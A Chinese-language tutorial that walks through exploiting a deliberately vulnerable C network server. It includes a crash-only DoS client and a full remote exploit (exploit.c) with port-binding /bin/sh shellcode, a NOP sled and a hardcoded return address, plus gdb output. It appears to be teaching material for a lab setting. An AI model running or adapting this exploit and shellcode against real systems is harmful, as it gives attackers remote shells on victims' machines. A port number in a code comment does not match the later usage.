描述：
介紹如何開發遠程緩衝區溢出漏洞利用程序
詳細：
在此，我們假設有一個有漏洞的伺服器程序(vulnerable.c). 然後寫一個 exploit 來利用該漏洞，這樣將能得到一個遠程 shell。
一、理解有漏洞程序：
--------------------------------------- vulnerable.c ---------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = 』\0』;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
---------------------------------------------- EOF------------------------------------------------------
下面將編譯並運行該程序：
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
../vulnerable 8080 說明你能在8080埠運行該項服務
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
現在該程序監聽8080埠並等待連接。
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
看來沒有什麼破綻，但是這時gdb會在屏幕上顯示：
client from 127.0.0.1 0xbffff28c （訪地址因不同機器類型而異）
二、令有漏洞程序發生緩衝區溢出
重新連上該服務，為 "My name is:..." 命令行提供超過1024個位元組長的輸入：
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
連接將中斷，讓我們看看gdb的輸出：
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don』t close gdb !!
能夠看出 eip 被設到了 0x41414141。0x41 代表一個"A",當我們輸入1024個位元組時，該程序會試圖將字元串name[2048]拷入緩衝[1024]。因此，由於 name[2048] 大於1024位元組，name 將會重寫緩衝並重寫已被存儲的 eip，我們的緩衝將會是下列形式：
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
在你重寫了整個返回地址后，函數將會跳轉到錯誤的地址 0x41414141，從而產生片斷錯誤。
現在為此程序寫一個拒絕服務攻擊工具：
--------------------------------- dos.c ---------------------------------------------
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}
/* Not difficult only filling buffer with A』s.... den sending nothing more */
for(i = 0; i < 2048 ; i++)
buffer[i] = 'A';
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
--------------------------------------------- EOF ------------------------------------------------------
三、找到返回地址：
打開gdb尋找 esp：
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---
現在我們已經知道重寫了整個緩衝，讓我們試試幾個地址
四、exploit代碼結構
1、 找到 esp，然後找一個能綁定 shell 到埠的 sehllcode.
2、創建一個大於1024位元組的緩衝
2、 用 NOP 填?M整個緩衝：
memset(buffer, 0x90, 1064);
3、將 shellcode 拷入緩衝
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
4、在緩衝中消除零位元組：
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
5、在緩衝未端拷貝返回地址：
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer[i]) = RET;
// RET is the returnaddress we want to use... #define in the header
}
6、在準備好的緩衝未端加入一個 \0 零位元組：
buffer[1063] = 0x0;
現在可以把它發送給有漏洞機器了。
----------------------------------------- exploit.c ----------------------------------
/* Simple remote exploit, which binds a shell on port 3789
* by triton
*
* After return address was overwritten, you can connect
* with telnet or netcat to the victim host on Port 3789
* After you logged in... there』s nothing, but try to enter "id;" (don』t forget the semicolon)
* So you should get an output, ok you』ve got a shell *g*. Always use:
*
* <command>;
*
* execute.
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
----------------------------------------- EOF-------------------------------------
五、使用 exploit:
user@linux~/ > gcc exploit.c -o exploit
user@linux~/ > ./exploit <host> <port>
如果你得到了正確的返回地址，它將管用。
user@linux~/ > telnet <host> 3879
id;
uid=500(user) gid=500(user) groups=500(user)
可以看出，我們成功了。
六、取得 root 許可權：
user@linux~/ > su
password: ******
root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>
七、進入 inetd.conf 中定義的服務
將有漏洞程序拷入 /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
root@linux~/ > vi /etc/services
加入下面的信息：
vulnerable 1526/tcp # defining port for our server program
root@linux~/ > vi /etc/inetd.conf
加入下面的信息：
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
重啟 inetd：
root@linux~/ > killall -HUP inetd
八、可能出現的問題：
如果 exploit 無法使用，請考慮返回地址，用gdb進行測試：
user@linux~/ > gdb vulnerable
......
(gdb) run <port>
(c) copyright by Robin Walser irc.euirc.net #usad
原作者：TNT.
來 源：www.cnns.net
